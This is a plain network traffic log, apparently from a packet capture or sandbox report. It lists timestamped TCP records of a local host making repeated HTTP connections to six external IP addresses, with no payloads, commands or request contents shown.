Dec 12, 2024 10:21:44.996579885 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:44.996654034 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996654987 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:44.996673107 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996691942 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996711016 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996738911 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:44.996886015 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:45.115983009 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:45.116096973 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:45.119524956 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:45.120357037 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:45.120541096 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:45.123224020 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:45.188250065 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:45.188318968 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:45.190884113 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:45.190982103 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:45.274745941 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:46.289521933 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:46.409106970 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:46.409173012 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:46.426131964 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:46.545551062 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642015934 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642050982 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642087936 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642283916 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642306089 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642318964 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:47.642324924 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642342091 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642359972 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642390966 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:47.642565966 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.642585039 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.643045902 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:47.763082981 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.763206005 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.763501883 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:47.767148018 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.833959103 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.833992958 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.834083080 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:47.836505890 CET	80	49180	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:47.836816072 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:47.939713955 CET	49180	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:48.955868959 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:49.075438976 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:49.081228971 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:49.089282036 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:49.208755970 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:49.208781958 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:49.211359024 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:49.330775976 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:49.330979109 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341052055 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341111898 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341154099 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341161966 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.341224909 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341259956 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341268063 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.341382980 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341414928 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341428041 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.341496944 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341540098 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.341548920 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341692924 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.341733932 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.460830927 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.460884094 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.460928917 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.464998960 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.532943010 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.532990932 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.533000946 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.535514116 CET	80	49181	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:50.535558939 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:50.591780901 CET	49181	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:51.608952999 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:51.728590012 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:51.731153011 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:51.741799116 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:51.861387014 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962450981 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962537050 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962574959 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962610006 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962626934 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:52.962645054 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962660074 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:52.962680101 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962714911 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962722063 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:52.962749958 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.962794065 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:52.963001013 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.963040113 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:52.963084936 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:53.082370043 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:53.082456112 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:53.086020947 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:53.086493015 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:53.154494047 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:53.154604912 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:53.157198906 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:53.157480001 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:53.161237955 CET	49182	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:53.280786037 CET	80	49182	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:58.307987928 CET	49183	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:21:58.427495003 CET	80	49183	46.30.211.38	192.168.2.22
Dec 12, 2024 10:21:58.427561998 CET	49183	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:21:58.439832926 CET	49183	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:21:58.559350967 CET	80	49183	46.30.211.38	192.168.2.22
Dec 12, 2024 10:21:58.559422016 CET	49183	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:21:58.559438944 CET	80	49183	46.30.211.38	192.168.2.22
Dec 12, 2024 10:21:58.679836988 CET	80	49183	46.30.211.38	192.168.2.22
Dec 12, 2024 10:21:59.691046000 CET	80	49183	46.30.211.38	192.168.2.22
Dec 12, 2024 10:21:59.691082001 CET	80	49183	46.30.211.38	192.168.2.22
Dec 12, 2024 10:21:59.699065924 CET	49183	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:21:59.951857090 CET	49183	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:00.968282938 CET	49184	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:01.088669062 CET	80	49184	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:01.091437101 CET	49184	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:01.103338957 CET	49184	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:01.223026991 CET	80	49184	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:02.353169918 CET	80	49184	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:02.353199005 CET	80	49184	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:02.353247881 CET	49184	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:02.603779078 CET	49184	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:03.619898081 CET	49185	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:03.740034103 CET	80	49185	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:03.747090101 CET	49185	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:03.755090952 CET	49185	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:03.874933004 CET	80	49185	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:03.874960899 CET	80	49185	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:03.875967979 CET	49185	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:03.996511936 CET	80	49185	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:03.996594906 CET	80	49185	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:05.011869907 CET	80	49185	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:05.100868940 CET	80	49185	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:05.101911068 CET	49185	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:05.259073973 CET	49185	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:06.272100925 CET	49186	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:06.392050028 CET	80	49186	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:06.392119884 CET	49186	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:06.398662090 CET	49186	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:06.518424034 CET	80	49186	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:07.653134108 CET	80	49186	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:07.653150082 CET	80	49186	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:07.657111883 CET	49186	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:07.731342077 CET	49186	80	192.168.2.22	46.30.211.38
Dec 12, 2024 10:22:07.851520061 CET	80	49186	46.30.211.38	192.168.2.22
Dec 12, 2024 10:22:12.907844067 CET	49187	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:13.028278112 CET	80	49187	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:13.029237986 CET	49187	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:13.041235924 CET	49187	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:13.160962105 CET	80	49187	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:13.161036968 CET	80	49187	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:13.161119938 CET	49187	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:13.280559063 CET	80	49187	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:14.262713909 CET	80	49187	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:14.262738943 CET	80	49187	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:14.262808084 CET	49187	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:14.553457975 CET	49187	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:15.569889069 CET	49188	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:15.689204931 CET	80	49188	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:15.690112114 CET	49188	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:15.706136942 CET	49188	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:15.825581074 CET	80	49188	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:16.929047108 CET	80	49188	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:16.929055929 CET	80	49188	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:16.929241896 CET	49188	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:17.218065023 CET	49188	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:18.252893925 CET	49189	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:18.372272968 CET	80	49189	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:18.372324944 CET	49189	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:18.387567043 CET	49189	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:18.506875038 CET	80	49189	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:18.506958961 CET	49189	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:18.507103920 CET	80	49189	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:18.626214027 CET	80	49189	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:18.626262903 CET	80	49189	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:19.610274076 CET	80	49189	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:19.610373974 CET	80	49189	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:19.619096041 CET	49189	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:19.891093016 CET	49189	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:20.905458927 CET	49190	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:21.024787903 CET	80	49190	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:21.029982090 CET	49190	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:21.035830021 CET	49190	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:21.155241013 CET	80	49190	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:22.262573004 CET	80	49190	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:22.262578964 CET	80	49190	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:22.262701988 CET	49190	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:22.264843941 CET	49190	80	192.168.2.22	77.68.64.45
Dec 12, 2024 10:22:22.384444952 CET	80	49190	77.68.64.45	192.168.2.22
Dec 12, 2024 10:22:27.664803982 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:27.784485102 CET	80	49191	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:27.795202017 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:27.803133011 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:27.922522068 CET	80	49191	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:27.922902107 CET	80	49191	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:27.923190117 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:28.042850018 CET	80	49191	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:29.311026096 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:29.374142885 CET	80	49191	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:29.374195099 CET	80	49191	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:29.374217033 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:29.374275923 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:29.430346012 CET	80	49191	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:29.430385113 CET	49191	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:30.327471972 CET	49192	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:30.447228909 CET	80	49192	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:30.447469950 CET	49192	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:30.461694002 CET	49192	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:30.581365108 CET	80	49192	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:31.731724024 CET	80	49192	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:31.731743097 CET	80	49192	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:31.731905937 CET	49192	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:31.975630045 CET	49192	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:32.983109951 CET	49193	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:33.102696896 CET	80	49193	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:33.102849007 CET	49193	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:33.121078968 CET	49193	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:33.240467072 CET	80	49193	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:33.240525007 CET	80	49193	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:33.240523100 CET	49193	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:33.361015081 CET	80	49193	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:33.361031055 CET	80	49193	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:34.499677896 CET	80	49193	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:34.499707937 CET	80	49193	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:34.499982119 CET	49193	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:34.631108999 CET	49193	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:35.647038937 CET	49194	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:35.766750097 CET	80	49194	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:35.766824007 CET	49194	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:35.774292946 CET	49194	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:35.893619061 CET	80	49194	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:37.055391073 CET	80	49194	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:37.055465937 CET	80	49194	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:37.055660009 CET	49194	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:37.057468891 CET	49194	80	192.168.2.22	146.88.233.115
Dec 12, 2024 10:22:37.176817894 CET	80	49194	146.88.233.115	192.168.2.22
Dec 12, 2024 10:22:42.705225945 CET	49195	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:42.824704885 CET	80	49195	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:42.826107979 CET	49195	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:42.837428093 CET	49195	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:42.956825018 CET	80	49195	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:42.956924915 CET	80	49195	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:42.957237959 CET	49195	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:43.076576948 CET	80	49195	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:44.106810093 CET	80	49195	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:44.106861115 CET	80	49195	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:44.107064009 CET	80	49195	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:44.111175060 CET	49195	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:44.349597931 CET	49195	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:45.370650053 CET	49196	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:45.490041971 CET	80	49196	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:45.490103006 CET	49196	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:45.507126093 CET	49196	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:45.626651049 CET	80	49196	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:46.771797895 CET	80	49196	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:46.771863937 CET	80	49196	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:46.771945000 CET	80	49196	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:46.772124052 CET	49196	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:47.032728910 CET	49196	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:48.065143108 CET	49197	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:48.184736967 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:48.191235065 CET	49197	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:48.203142881 CET	49197	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:48.323288918 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:48.323303938 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:48.326210022 CET	49197	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:48.446197033 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:48.446213007 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:49.573703051 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:49.573735952 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:49.573774099 CET	80	49197	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:49.573797941 CET	49197	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:49.573858023 CET	49197	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:49.715903997 CET	49197	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:50.735047102 CET	49198	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:50.854547977 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:50.854706049 CET	49198	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:50.898576021 CET	49198	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:51.018076897 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:52.139718056 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:52.139734983 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:52.139744997 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:52.139754057 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:52.139774084 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:52.139786005 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:52.139889956 CET	49198	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:52.139889956 CET	49198	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:52.146217108 CET	49198	80	192.168.2.22	217.160.0.200
Dec 12, 2024 10:22:52.265531063 CET	80	49198	217.160.0.200	192.168.2.22
Dec 12, 2024 10:22:57.299331903 CET	49199	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:22:57.418812037 CET	80	49199	13.248.169.48	192.168.2.22
Dec 12, 2024 10:22:57.418886900 CET	49199	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:22:57.440946102 CET	49199	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:22:57.560323000 CET	80	49199	13.248.169.48	192.168.2.22
Dec 12, 2024 10:22:57.560381889 CET	80	49199	13.248.169.48	192.168.2.22
Dec 12, 2024 10:22:57.560386896 CET	49199	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:22:57.680082083 CET	80	49199	13.248.169.48	192.168.2.22
Dec 12, 2024 10:22:58.517735958 CET	80	49199	13.248.169.48	192.168.2.22
Dec 12, 2024 10:22:58.517748117 CET	80	49199	13.248.169.48	192.168.2.22
Dec 12, 2024 10:22:58.518579006 CET	49199	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:22:59.013556004 CET	49199	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:00.030478954 CET	49200	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:00.150639057 CET	80	49200	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:00.151175976 CET	49200	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:00.166151047 CET	49200	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:00.285578966 CET	80	49200	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:01.250957966 CET	80	49200	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:01.250996113 CET	80	49200	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:01.251058102 CET	49200	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:01.665554047 CET	49200	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:02.682390928 CET	49201	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:02.802135944 CET	80	49201	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:02.802544117 CET	49201	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:02.815015078 CET	49201	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:02.934669018 CET	80	49201	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:02.934695959 CET	80	49201	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:02.938091993 CET	49201	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:03.057595015 CET	80	49201	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:03.057607889 CET	80	49201	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:03.902789116 CET	80	49201	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:03.902928114 CET	80	49201	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:03.903000116 CET	49201	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:04.317553043 CET	49201	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:05.334836006 CET	49202	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:05.454554081 CET	80	49202	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:05.457645893 CET	49202	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:05.469290018 CET	49202	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:05.590600014 CET	80	49202	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:06.585774899 CET	80	49202	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:06.585844040 CET	80	49202	13.248.169.48	192.168.2.22
